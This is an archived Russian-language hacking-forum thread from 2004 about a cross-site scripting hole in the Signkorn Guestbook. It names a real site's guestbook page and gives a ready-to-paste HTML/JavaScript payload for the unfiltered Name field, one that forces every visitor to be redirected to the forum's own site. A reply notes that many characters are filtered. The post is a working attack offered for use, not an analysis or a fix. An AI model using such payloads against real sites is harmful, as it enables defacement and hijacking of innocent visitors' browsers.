PDA

Просмотр полной версии : Уязвимость гостевой книги  signkorn guestbook


Егорыч+++
25.05.2004, 10:41
Signkorn Guestbook - типичный пример скрипта написанного по книжке. Проверяется homepage и mail, но скажем имя не проверяется совсем. Адрес гостевой



http://www.telekorn.de/cms/front_content.php

В поле Name вставляем

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><a style=background-image:url(javascript:navigate("http://antichat.ru"));[/QUOTE]<span id='postcolor'>

И как всегда получаем редирект на АНТИЧАТ..

m0nzt3r
03.09.2004, 18:56
много символов не пропускает &nbsp;http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif